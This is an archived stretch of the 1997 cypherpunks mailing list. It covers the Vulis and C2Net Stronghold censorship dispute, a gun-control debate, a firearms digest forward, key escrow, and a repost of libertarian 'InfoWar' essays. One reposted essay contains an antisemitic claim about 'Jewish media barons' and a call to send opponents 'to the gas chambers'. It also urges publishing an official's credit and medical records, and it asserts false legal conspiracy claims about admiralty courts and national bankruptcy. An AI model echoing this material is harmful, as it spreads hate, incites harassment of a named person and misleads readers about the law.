]while about various alternatives. I raised the point I've made before, that
]having a "members only" policy, with some special provision for some amount
]of remailed messages, would probably best suit the notion of keeping the
]"community" running. What I told Doug was that my main objection was having
]Sandy sit in judgement to essays folks might have spent a long time
]composing, and I cited physical parties, where a host invites those he
]wants in attendance, but does not micromanage or screen conversations being
]held at the party. My sense was that Doug agreed, and agreed that the whole
]thing had been handled in a bad way...but Doug should comment to tell his
]view of things.)
]
]The next day, at the physical Cyperpunks meeting at Stanford, I briefly
]talked to Greg Broiles, working as a legal aide at C2Net. I told Greg he
]could "take his best shot," in terms of filing suit against me about my
]messages, as I'm prepared to fight C2Net in court on this matter, and have
]the financial resources to hire some pretty good lawyers. (I don't recall
]if Greg replied, or what his reply was.)
]
]In a message to Cypherpunks, I outlined my understanding of the Vulis
]report on security flaws in Stronghold, and put the claims  in the context
]of messages not appearing on either of the two main lists,  but none of my
]messages were sent to either the Main list or the Flames list.
]
](I also had communication with several members of the list, some known to
]me and some only pseudonyms. I have taken the precaution of erasing these
]messages and copying files to the disk on which they resided to head off
]any attempts by C2Net seize my computer and disks as part of some
]"discovery" process.)
]
]I find it unfortunate that C2Net is behaving in such a manner, and their
]actions are generating far more publicity about the claimed security flaws
]in Stronghold than the original Vulis message ever would have generated.
]
]Sunlight is the best disinfectant, as a Supreme Court justice averred. And
]suppression is a breeding ground for all sorts of bacteria, fungi, and ugly
]growth, as a less articulate person said.
[snip]

In conclusion, I want to thank Dale Thorn, Toto, and all other punks who
participated in the good fight against C2net's censorship.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sun, 5 Oct 1997 03:20:47 +0800
To: Cynthia Brown <alexlh@yourchoice.nl>
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Mutt.19971001191622.alexlh@sarah.yc>
Message-ID: <3.0.3.32.19971004113450.00689718@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713737.multipart/signed"

--Boundary..3985.1071713737.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 07:16 PM 10/1/97 +0100, Alex Le Heux wrote:
>You people just don't get it do you? A gun has one purpose: To kill. Just
like
>any other tool, a gun, if it is available _will_ be used at some point.
>
>So making sure there are lots of guns around only serves to make a lot of
>people very dead. This is a Bad Thing.
>
>Gun control laws are not the issue. It's a matter of mentality. In Europe,
>where we have rather strict guncontrol laws, and have had them for a long
>time a decent human being will not even think of shooting someone else. In
the
>US, where guns are tradition and part of the American way, many people would
>not think twice before shooting someone. The result of this is that the
>number of people getting killed by guns is enourmous, be they criminals,
>little kids, old grannies, or presidents.

You are right to the extent that the US has a more violent culture than the
UK and many other European countries, and has a higher murder rate.
However, your argument that the presence of guns == corpses is demonstrably
false.  Private ownership of firearms has a significant deterrent effect on
violent crime.  This may not be obvious when comparing the US to the UK,
but when comparing the statistics for areas within a country, region, or
city, it becomes indisputable.

Before Kennesaw, Georgia passed its famous (or infamous) ordinance
requiring each household in the city to own a gun and allowing concealed
carry of firearms, it had an average of 25-27 violent crimes (murder, armed
robbery, etc) per year.  After the ordinance was passed, there was one
violent crime the first year, and three the next.  The gun control shills
in the press reported this as a tripling in the violent crime rate.  Since
the state of Florida passed a "shall issue" concealed carry law (if you
apply, pay the fee, pass the safety course, and are not a felon or mentally
incompetent, the state shall issue you a concealed carry permit) it has
experienced significant reductions (10-20%) in the rates of murder, rape,
armed robbery, and other violent crimes.  Even in England and Scotland,
this inverse relationship between private gun ownership and violent crime
can be demonstrated, according to Colin Greenwood, retired chief of the
West Yorkshire Constabulary and criminology researcher since the sixties.

The explanation for this phenomenon is simple.  Most people are not
mentally unbalanced, or violent criminals, and therefore are capable of
safe and responsible gun ownership.  I had a gun when my wife told me that
she was having an affair with one of her co-workers.  By your theory, my
wife should be dead.  However, she remains in good health, we communicate
frequently, and are currently working on a reconciliation.  Why?  Because I
(and most other people) have sufficient moral fortitude to reject the idea
of committing murder for foolish reasons.  I am not a lunatic, therefore I
do not behave like one.

When the general population is armed, especially if they are armed during
their daily activities, the life of muggers, rapists, and murderers becomes
extremely dangerous.  People who insist on staying in these professions are
quickly removed from the gene pool by natural selection, and the smarter
ones gravitate to less dangerous professions, thereby reducing the crime
rate in two separate ways.  Even if only 10% of the population is carrying,
the 1% or less that is still outgunned by a factor of 10 or more, and only
fools play those odds.

The US has a higher rate of murder by strangulation than does the UK.
Would you argue that Americans posess more hands than their British
counterparts?

At 04:20 PM 10/1/97 -0400, Cynthia Brown wrote:
>IMNSHO the best way to fight crime is not with bigger guns than the "bad
>guys", but with better social programs such as universal health care, and
>improved day care so single parents can show their kids what a productive
>lifestyle looks like.  This takes longer than blowing the brains out of some
>teenager that feels his only path to a better life is through crime, and it
>doesn't give the same adrenalin rush.  However, it works at the source of
>crime, and not the consequences. 

We already have more social programs than we can afford--they are a large
part of the problem.  Why would a 19 year old work for minimum wage at an
entry-level job when he can get on walfare and get better benefits than he
would from the job, and thereby have the time to make $1000 per night
selling crack.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

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Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

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http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3985.1071713737.multipart/signed
Content-Type: application/octet-stream; name="pgp00000.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00000.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IERKTjYzTkhEQ0Zw
cWpUNEZVNXdSTXVVV1ZoS3RuUnVpCgppUUEvQXdVQk5EYVU2OEpGMGtYcXB3
M01FUUpjYmdDZmJlcVRHRTJ4QnVZbnllR2RVVDk3T3NscUs1MEFvT1FYCks3
N0pUVUpka1ZlcWR1d3V4Sm9zT3ZBdgo9V0VBUAotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3985.1071713737.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 5 Oct 1997 00:14:28 +0800
To: info@reform.ca
Subject: (Fwd) [Exerpts of ]  Cdn-Firearms Digest V2 #18
Message-ID: <199710041614.MAA22544@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



------- Forwarded Message Follows -------
Date:          Fri, 3 Oct 1997 10:15:14 -0600
From:          owner-cdn-firearms-digest@sfn.saskatoon.sk.ca (Cdn-Firearms Digest)
To:            cdn-firearms-digest@broadway.sfn.saskatoon.sk.ca
Subject:       Cdn-Firearms Digest V2 #18
Reply-to:      cdn-firearms-digest@sfn.saskatoon.sk.ca


Cdn-Firearms Digest      Friday, October 3 1997      Volume 02 : Number 018



[snip]
------------------------------

Date: Tue, 30 Sep 1997 15:26:24 -0600 (CST)
From: mtoma <mtoma@compusmart.ab.ca>
Subject: stated goals

"Our task of creating a socialist America can only succeed when all
those who would resist us have been totally disarmed".

Sarah Brady, highly paid, highly motivated figurehead for Handgun
Control Inc., to Senator Howard Metzanbaum. National Educator 1994, 
page 3.

Now what was Sharon Carstairs comment about the social(ist)
reengineering of Canadian society?

Of course you knew that, did you not?
******
Had an email today, from Bob Lickacz. His comment regarding [the 
book] Unintended [Consequences]  ...Wow! what a book. 

This is very true. no other book have I read gets to the heart of the
matter, that is our love of firearms and shooting. At the same time, no
other book puts things in such perspective as to how we got here in
matters of gun control. Of course it is a history of the process in the
USA. The similarities in Canada are frightening. Buy the book, loan it
out. Available at Paladin Press, and amazon.com. 

Cheers, M. Toma

------------------------------
[snip]
------------------------------

Date: Wed, 1 Oct 1997 08:46:01 -0600 (CST)
From: "Fred Davis" <Fred.Davis.fmdavis@nt.com>
Subject: RE: Ruby Ridge??

>Would someone please tell me what relevance the posting of the Ruby
>Ridge incident has on the Canadian Firearms Digest?
>
>Thank you
>
>Bud Melless

IMHO it is apparent that police agencies on both sides of
the border are pursuing militarist and sometimes violent actions 
against citizens who are subsequently charged with non-violent 
"crimes", if anything at all. 

You can find out the whole story on the Ruby Ridge incident by
pointin your favorite browser to:
www.ruby-ridge.com


Fred

------------------------------

End of Cdn-Firearms Digest V2 #18
*********************************


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 Mailing List Commands:        majordomo@sfn.saskatoon.sk.ca
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To subscribe, email to  majordomo@sfn.saskatoon.sk.ca, no subject, 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sun, 5 Oct 1997 01:01:35 +0800
To: minow@apple.com>
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <v03102800b05aaebebd1c@[17.219.102.47]>
Message-ID: <3.0.2.32.19971004125619.006aec0c@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:52 AM 10/4/97 -0500, amp@pobox.com wrote:
>
>Though I hate the conmcept of key escrow, it actually makes sense for 
>corporations to be able to have access to internal documents. Why they 
>think having key escrow in place will stop people from being able to use 
>other encryption as well is beyond me. I guess it's the same (stupid) 
>mentality of the feds. They don't think anyone would be smart enough to use 
>the escrowed encryption a a wrapper for the non-escrowed encryption.

The idea behind escrow in a company is to let each employee have their own 
key (and secret key/pass-phrase) so that they can digitally sign e-mails, and 
send encrypted e-mail, but with the escrow to let other people access this 
mail.  This is not any more surveilance than already exists in a corporate 
environment, and I believe it's main purpose is *not* inside the corporation, 
but for secure communications with people in other companies, typically 
partners, suppliers, clients, etc.

I can't see a problem with it in this situation.

Oh, and one of the bills in Congress seemed to prohibit the US Government 
from using escrow in this way in government agencies.  I can't see a 
justification for this.  [Other than normal FOI reasons.]  Think military 
communicating with weapons contractors if you need an excuse for this kind of 
encryption in the first place.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNDZ1Mjc3ytqHnNyNAQEyZQP/VH/HLUyHkImbrhWmlzeMBx5YScEM6hOa
NcgWcFn2GLEG4sUuQW4nv4fUNwB+uPjtPJW06SWk0HttG5U6k+GZNxysKLQE07Qm
8NW/QnyRAgcZCyirt1fKfSCGk44K1GFjal0AeX10AM0x+58tYvCTEHjXUa5Pap/6
+sghxJNM2AQ=
=pF3Z
-----END PGP SIGNATURE-----


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 5 Oct 1997 01:28:50 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
Message-ID: <1.5.4.32.19971004170309.006e6f6c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis reposted parts of the Stronghold/censorship 
drama:

Dimitri: 

This replay continues your artful distortion of the exchanges, 
presumbly to make your best case, yet it still fails to explain
your original beef with Stronghold.

Perhaps this is unfair, but it now appears that you are using 
the disputed censorship issue to cloud your reluctance, or 
inability, to substantiate a fault in Stronghold.

Send me the Stronghold fault, I'll be happy to add it to the 
other crypto-security stuff that wasn't supposed to be published.

This is not meant to defuse the censorship matter, that's still
live ammo.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Deja Vu <dv@dev.null>
Date: Sun, 5 Oct 1997 03:49:52 +0800
To: cypherpunks@toad.com
Subject: InforWar 31 / (Part III of 'The True Story of the InterNet')
Message-ID: <343698AF.679D@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Anarchist Post of the Century 
Anarchist Post of the Century


Anarchist Post of the Century


Subject: Freedom of Encryption: Is it SAFE?
From: "Michael Pierson" <wfgodot@advicom.net>

To: cypherpunks@cyberpass.net

-----BEGIN PGP SIGNED MESSAGE-----

There has been much discussion recently concerning how to fix

certain flaws, or block various amendments in encryption
legislation being shepherded through Congress.  A far more
fundamental problem with these legislative efforts from the
beginning was that they involved an implicit concession to the

idea that a U.S. citizen's freedom to privately exchange
information in whatever coding scheme he or she might choose
required some kind of government affirmation or ratification as

validation.  Once one seeks for the government's deigning to
"affirm the rights of United States persons to use and sell

encryption", it can (and does) then easily proceed to attach

conditions and caveats to these "affirmed" rights. 
In the
process the surveillance hawks within the government have
managed, with hardly any struggle, to advance the appearance of

legitimacy for their claims of authority to regulate this form
of
expression. 

Now comes an expectation that the nature of these "affirmed

rights" should be tailored to address "the concerns
of national
security and the federal law enforcement community."  This
same
community has on occasion complained about how their efforts to

fight organized crime and terrorism are being thwarted by not

having the modern newspeak disguised equivalent of "Writs
of 
Assistance" (and they are arguably making progress toward

acquiring just such powers IMO).  Very few politicians are 
willing to commit the heresy of clearly and staunchly asserting

that the information coding methods used by citizens are under

no obligation to pass any litmus test, or to be subject to any

kind of prior approval or restraint determined by criteria of

the law enforcement establishment or anyone else.  If the Feds

lament that this will make their job harder, too bad.  In the

words of Orson Welles: "Only in a police state is the job
of a 
policeman easy." 

When these various legislative efforts attempted to reach beyond

the issues of export restrictions to address those of domestic

use, they became a doubtful and dangerous fix to something that

wasn't broke in the first place.  If the Government is intent
on
"abridging the freedom" to use strong encryption domestically,
a
legislative affirmation of these rights is feeble comfort at
best.  If I'm seeking to protect my possessions, I don't ask a

thief to affirm my property rights. 

Of course, even the export question is really about the aims of

the state's surveillance constituency to obstruct the wide
deployment of strong encryption domestically, and its
interoperability on the internet as a whole.  Challenging the

derisible bogosity of the "preventing the Evil Ones from

acquiring this technology" rationale that is invoked to justify

these restrictions was not something legislation was likely to
do
with any great vigor.  Legislation to "relax" these
restrictions
involves lending credence to the dubious assumption that these

restrictions had any constitutional validity to begin with. 

Any bill that would have truly provided for the statutory
endorsement of the acceptably uncompromised use of strong
encryption never really had much more than a snowball's chance
in
hell of actually being signed into law given the current
political balance of power, did it?  Far more likely, was that
it
could be corrupted and hijacked as a vehicle to further the very

type of restrictions it was purportedly intended to relieve. 
A
collateral consequence is an increased arrogance and presumption

among lawmakers that it is their prerogative to act to define
for
us citizens, what freedoms for domestic use of encryption we
should be permitted.  The growing gallery of GAK amendments and

competing legislative proposals now emerging appears to support

this sad scenario. 

It's starting to look like the prospects for meaningfully
improving the situation with encryption legislation in the
current political environment were about as promising as the
prospects of a neophyte gambler coming out ahead at a crooked

casino.  I expect any apparent winnings in the end will come with

a catch between the lines in the fine print, if they come at all.

In any case, whatever is legislatively affirmed can later be
legislatively denied.  What a King presumes is his to grant, he

usually presumes is his to revoke as well. 

In the end, what will have really been gained by this legislative

venture, and what will have been explicitly or implicitly
surrendered?  As I see it, at this point the issue isn't about

counting wins, it's about cutting losses. 

Freedom of encryption.... Is it SAFE?  I don't think so. 

-Michael 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBNDVks9GJlWF+GPx9AQGctwQAlE+SKB3/rqG7kz3qdcF2I5eBedz3/DDK

f5Vg0Zd8PbhowwT9gWAvyt+ysIZCqRJWMu3vPmWP2iN2ZghLaiGRVv8piXhyUQYl

rhv/rOz1Yc1raJbU5Wk+9Qr9zxQqxHZiAk1G0Irye4yDfi72ar8ndD5CqUegBnaF

QAoyFGtiJZ4=
=2zJO
-----END PGP SIGNATURE-----
 


Anarchist Post of the Century


Subject: DejaVu: Cypherpunks as Philosopher Kings
From: "Attila T. Hun" <attila@hun.org>

Reply-To: "Attila T. Hun" <attila@primenet.com>

Organization: home for unpenitent hackers; no crackers!

To: "Timothy C. May" <tcmay@got.net>, cypherpunks
<cypherpunks@cyberpass.net>

-----BEGIN PGP SIGNED MESSAGE-----

ten months ago: on or about 961218:1123 
    "Timothy C. May" <tcmay@got.net> purported
to expostulate:

+_Direct action_ is what it's all about. Undermining the state
through
+the spread of espionage networks, through undermining faith in
the tax
+system, through even more direct applications of the right tools
at the
+right times.
+
+When Cypherpunks are called "terrorists," we will have
done our jobs.

    [Tim] said this before Christmas last year as an erudite and
lengthy
    addendum to my lengthy tome: "Cypherpunks as Philosophy
Kings" 
    that pretty well summed our generally mutually agreed "philosophy".

    both were and still are worth reading; anybody who does not
have
    copies, ask.

    but cypherpunk terrorists are not violent; this is all about
making
    information free and protecting privacy with technology.

    despite the fact the Commerce Committee effectively killed
SAFE
    (or we think they did until Oxley tries to tack his amendment

    structure on an appropriations bill in a house-senate conference
or
    "manager's mark" procedure (whatever that is)),
we can not drop the 
    due diligence, and the public must be aroused, called to battle.

    even if there is no action, prepare for the next fire drill.
sow the
    seeds of dissension.

    seems to me we were sure the CDA was dead --except it slipped
in with 
    a manager's mark after the house voted almost unanimously
the other
    way (402-12 or something like that). the capitol hill sleaze

    took a grand slam NO and reported an even worse yes, making
it part
    of a major bill that absolutely was going to pass --and they

    have the gall to call that travesty democracy?  Teddy Roosevelt:

        "It is difficult to make our material condition better
by the 
        best law, but it is easy enough to ruin it by bad laws."

    Tim's message for Christmas last was the prophetic call for
direct
    action; legal action; empowerment action: Robert H. Jackson

    (1892-1954), U.S. Judge:

        "It is not the function of our Government to keep
the citizen 
        from falling into error; it is the function of the citizen
to
        keep the Government from falling into error."

CYPHERPUNKS MUST BE THE JOHNNY APPLESEED 

OF THE INFORMATION AGE.

    the sleazeball, who intends to make J Edgar look like a piker
at 
    surveillance, has the gleam of unabridged power in his eyes.
Louis 
    F[reeh,uck] is charming, even disarming, as he tells a Congressional

    committee:
        "We are potentially the most dangerous agency in
the 
        country if we are not scrutinized carefully." (Jun
'97)

    meaning the FBI will be the most powerful [feared] federal
agency?
    really?  I thought it was already, although the DEA and BATF
have 
    worked hard for the title, too.

    Supreme Justice Louis O. Brandeis said:
        "The greatest danger to liberty lurks in insidious
encroachment 
        by men of zeal, well-meaning but without understanding."

    and the [London] Electronic Telegraph, on Sunday's front page:

        Mr. Freeh has won $370 million (ú230 million) of

        funding for 2,000 new posts, boosted the number of
        active agents to more than 11,000, and expanded
        open-ended "domestic security operations" from
100 in
        1995 to more than 800.  Twenty-three new FBI offices
        are opening abroad.

    and more:

        But none of this will contain the director's ambitions

        or his power.  He is now believed to be eyeing two
        other "secret police" forces - the Drug Enforcement

        Agency and the Bureau of Alcohol, Tobacco and Firearms

        - with a long-term view to a takeover.

    F[reeh,uck] holds the key to the Clinton's' ambitions; the
Clintons 
    cite the Roosevelts as their mentors; Hillary even communes
with the
    long dead Eleanor. Bubba's stated goals included extending
FDR's 
    "chicken in every pot" --he's just appeasing the
crowd now.

    Leopards do not change their spots, but Bubba has shifted
to the 
    right with public opinion; he is just like the leopard: playing
with
    his food until sufficient presidential powers have been accumulated

    by the default of Congress and the people.

    But, the INFORMATION REVOLUTION now stands in way of the Clinton

    plans; the Internet can destroy the media control now exercised
by
    the acquiescence of the five Jewish media barons. In fact,
it is 
    destroying their monopoly.

THE CONTROL OF INFORMATION IS THE CONTROL OF POWER.


    Why does F[reeh,uck] hold the key?  Because his job is to
sell the 
    Congress on strangling the information revolution before it
destroys
    truthless governments F[reeh,uck]'s masters understand and
control.

    Franklin D. Roosevelt was inaugurated on 4 Mar 33 stating:

        "I am prepared under my constitutional duty to 
        recommend the measures that a stricken nation in the
        midst of a stricken world may require.  These
        measures, or such other measures as the Congress may
        build out of its experience and wisdom, I shall
        seek, within my constitutional authority, to bring
        to speedy adoption.  But in the event that the
        Congress shall fall to take one of these two 
        courses, and in the event that the national
        emergency is still critical, I shall not evade the
        clear course of duty that will then confront me.  I
        shall ask the Congress for the one remaining
        instrument to meet the crisis broad Executive power
        to wage a war against the emergency, as great as the
        power that would be given to me if we were in fact
        invaded by a foreign foe."

    and, on 9 Mar 33, 5 days later, FDR extracted from an uniformed

    and essentially special session of Congress:
        "Be it enacted by the Senate and the House of Representatives
of
        the United States of America in Congress assembled, That
the
        Congress hereby declares that a serious emergency exists
and
        that it is imperatively necessary speedily to put into
effect
        remedies of uniform national application."

    which was based on the War Powers Act (trading with the Enemy)
of
    1917 which was hastily revised to include US Citizens which
had been
    exempted. Next, FDR "franchised" the banks, "licensed"
agriculture
    and so on. But, to render the citizens powerless and to confiscate

    all assets so the national state was the ultimate owner, and

    therefore able to pledge the people for credit to the international

    bankers, the fundamental monetary system changed:
        "Whenever in the judgment of the Secretary of the

        Treasury, such action is necessary to protect the 
        currency system of the United States, the Secretary 
        of the Treasury, in his discretion, may require any 
        or all individuals, partnerships, associations and 
        corporations to pay and deliver to the Treasurer 
        of the United States any or all gold coin, gold
        bullion, and gold certificates owned by such 
        individuals, partnerships, associations and 
        corporations." 

    which closed the loop and made every US citizen chattel as
FDR 
    pledged the good faith and credit of the United States to
the 
    international bankers --in return, an unbelievable flood of
credit 
    was available since the good faith and credit of the United
States 
    is "We the People...."  but FDR sold us downstream
into a debt 
    financed economy from which there is no escape; we are still
there,
    the debt service is destroying any permanent economy AND total

    collapse under the debt load is bequeathed to our children.

    Congress repealed FDR's rubber stamp for the "President"
in 1973,
    but the War Powers Act remains, still modified to treat US

    citizens as the enemy. and the power of the "President"
to make 
    those regulations, and the automatic approval are enshrined
for
    current and future Presidents in Title 12 USC 95(b)
        "The actions, regulations, rules, licenses, orders
and 
        proclamations heretofore or hereafter taken, promulgated,
made,
        or issued by the President of the United States or the
Secretary
        of the Treasury since March the 4th, 1933, pursuant to
the
        authority conferred by subdivision (b) of Section 5 of
the Act
        of October 6, 1917, as amended, are hereby approved and

        confirmed."

    The real issue is the President and the fat cat power brokers
can 
    get away with these shenanigans __as_long_as_the_people_let_them__.

    We are still under the Rule of Necessity. We are still in
a declared
    state of national emergency, a state of emergency which has
existed,
    uninterrupted, since 1933.  

    FDR's licensing agencies were rather trivial in number; today
there 
    are thousands of them, many with their own administrative
courts. 
    FDR took away our common law when he bankrupted America, which
is a 
    national corporation under the Hague convention (courtesy
of Stanton
    and Seward after the Civil War).  Bankruptcy is a contract,
and 
    we are the bait, subject to that court, which is in effect
an 
    Admiralty court, and we are "licensed" to literally
exist by FDR's 
    Social Security Number schema. and every courtroom now flies
the 
    fringed Admiralty flag where habeas corpus is a privilege,
not a 
    right, if it exists at all.

    This is the importance of Louis F[reeh,uck].  He, and Janet
Reno as 
    the DOJ rubber stamp, are holding the collar for your neck.
They
    are selling it to you little by little, or even all at once.

    Why Louis F[reeh,uck]?  Madison Avenue style with credentials;
he
    can sell the program. F[reeh,uck] is the front man, the schill.

    Machiavelli, in his "Discourses of Livy," acknowledged
that great 
    power may have to be given to the Executive if the State is
to
    survive, but warned of great dangers in doing so.  He cautioned:

        Nor is it sufficient if this power be conferred 
        upon good men; for men are frail, and easily 
        corrupted, and then in a short time, he that is 
        absolute may easily corrupt the people."

    sleazeball's comments are scarfed by Congress, sleazeball's
candor
    rocks their cradles, sleazeball shows them private morality
plays
    about a populace running wild with crypto-anarchy, running
wild 
    to burn out the offices of central power...  in other words:

DEPRIVE THEM CONGRESSCRITTERS OF THEIR
 FREE LUNCH AND IMMUNITY.

    is it not odd that the more the government tries to abridge
our free
    speech rights, the more they want to confiscate our weapons?

        free speech is a weapon of democracy!
        privacy is a weapon of democracy!
        cryptography is a weapon of democracy!

    We are not fighting with guns and explosives this time, armed

    insurrection against the power of the Federal government is

    suicidal --we are fighting for our lives and the right to
live our
    lives with words: the ability to hear those words _before_

    government censors and spin doctors render them useless lies.

    Bubba can not win a war of truth and information; we can/

    The Marquis de Sade:
        Are not laws dangerous which inhibit the passions? 
        Compare the centuries of anarchy with those of the 
        strongest legalism in any country you like and you will

        see that it is only when the laws are silent that the

        greatest actions appear.

    however, anarchy is the key word that ignites even the ACLU
against
    your cause; it even makes bedfellows of Pat Buchanann and
the
    homosexual/priest/congressman from Massachusetts...  

    pure anarchy, by definition, does not work, anyway. forget
it. get 
    the concept out of your systems as it inflames everyone and
all 
    other reason is lost in the screaming and police batons. 

    Even Teddy Roosevelt called for the complete extermination
of
    anarchists, to be hunted like vermin. give it up; or go to
your
    private island and fly your rattlesnake flag. even Anguilla
will not
    tolerate anarchists.

    just give us our REAL constitutional rights as Franklin, Madison,

    Jefferson, Adams, and friends intended; give us constitutionalists

    on the Supreme Court, not bleeding hearts, statists, and central

    power freaks. get the Feds out of cradle to grave big government
and
    let the people determine their religion and morality.

    give us freedom of speech, freedom to bear arms, freedom from

    unreasonable searches, freedom not to incriminate ourselves,
and 
    repeal the 14th Amendment so we can have states' rights again.

    if our Constitution were permitted to govern as it was intended,
and 
    the states obeyed the precepts endowed to not further limit
the
    rights of the people, America would be the home of the free,
not big
    government, not freeloaders and the welfare state; not the
leftovers
    of a once great nation.

    give us the rights Abraham Lincoln cherished lovingly:
     "Those who deny freedom to others deserve it not for
themselves."

    let _them_, not me, live the downside.

    George Washington, in his farewell address, warned:
       "... change by usurpation; for through this, 
        in one instance, may be the instrument of good, 
        it is the customary weapon by which free 
        governments are destroyed."

    cypherpunk philosopher kings: pick up your picks and shovels,
get 
    your hands dirty, and start digging in; it's going to be a
long and 
    difficult campaign and the tactics needed to expose F[reeh,uck]'s

    true intentions as the schill for the Clintons who are schills

    for the elitist leading the destruction of American democracy.

    The Congressional compromise love match season isn't over
yet; the
    schmoozers and lobbyists, like so many furry rats, still wander
the
    dark halls and tunnels looking for the last, late in the season,

    clandestine and obscene fuck.  any whore will do.

    lobbyists have long reputations for selling out the interests
of
    their paymasters; the lobbyists are so much a part of the
Washington
    culture that they have _no_ morality or moral position --it
is all
    about who they can claim to have influenced --what difference
does
    it make if it is contrary to the client --the art of the deal,

    protect their own position and find newer, richer clients
--whores!
    logrolling and porkbarrel voting --but never go home without
a deal;
    used car salesmanship: get your man.

    I can hear the lobbyists whining now as they are called on
the 
    carpet:
        "aw, come on Mac, we got you a compromise from LEA
demands..."

    never realizing that there is such an action as NO bill, they
sell 
    out half our rights blocking legislation which would never
happen.

    they claim they got back half. what half? --some unknown half
that 
    we _never_ lost!  that is why:
        The 10 Commandments contain 297 words. The Bill of Rights
is 
        stated in 463 words. Lincoln's Gettysburg Address contains
266
        words; and: 
        A recent federal directive to regulate the price of cabbage

        contains 26,911 words. (The Atlanta Journal)

    send the quisling Neville Chamberlains to the gas chambers!

    the public needs to be educated, not in crypto, but in the
horrors of     
    an oligarchy which intends to destroy the fundamental freedoms
on 
    which we stand.  

    publish his credit records; publish his medical records --tell
his
    neighbors about his visits from Child Protective Services...
then
    Joe Coach Potato will figure out he needs something

        AFTER he figures out there are fuckors and fuckees,

        and he's on the short end of that stick. [pardon my French]

    then, and only then, will the masses understand privacy --when
they 
    have lost it. 

    either we show the people before they lose everything to uncle,

    or...    just dump it on the table to show everyone just how
much
    uncle knows about _you_.

    Attila's thought for the day:
      Now, with a black jack mule you wish to harness, you
walk up, 
      look him in the eye, and hit him with a 2X4 over the left
eye.   
      If he blinks, hit him over the right eye! He'll cooperate.
 
          --so will politicians.

    Louis F]reeh,uck], did you really state this hoping everyone
would 
    think you are joking? 
        "We are potentially the most dangerous agency in
the 
        country if we are not scrutinized carefully."

    Louis F[reeh,uck], you obviously know that telling the truth,
before 
    the truth is really the truth, disarms your opposition since
they 
    can plainly see that it is not true.

    there is a limit to what you can endure before you must stand
to 
    be counted --so I will loudly echo Tim's sentiment: 
+
+When Cypherpunks are called "terrorists," we will
have done our jobs.
+
 --
 "Experience keeps a dear school, but fools will learn in
no other."     
        --Benjamin Franklin

______________________________________________________________________

 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF
AE 56 98 C0 D7 B0 

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Copyright "Anonymous TruthMonger <at@dev.null>"

"Do you feel 'Cypher'...Punk? Well...do you?"




"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Deja Vu <dv@dev.null>
Date: Sun, 5 Oct 1997 03:52:18 +0800
To: cypherpunks@toad.com
Subject: InfoWar 31 / TEXT
Message-ID: <3436992B.6801@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Anarchist Post of the Century
   * Anarchist Post of the Century

----------------------------------------------------------------------------

                        Anarchist Post of the Century
----------------------------------------------------------------------------

Subject: Freedom of Encryption: Is it SAFE?
From: "Michael Pierson" <wfgodot@advicom.net>
To: cypherpunks@cyberpass.net

-----BEGIN PGP SIGNED MESSAGE-----

There has been much discussion recently concerning how to fix
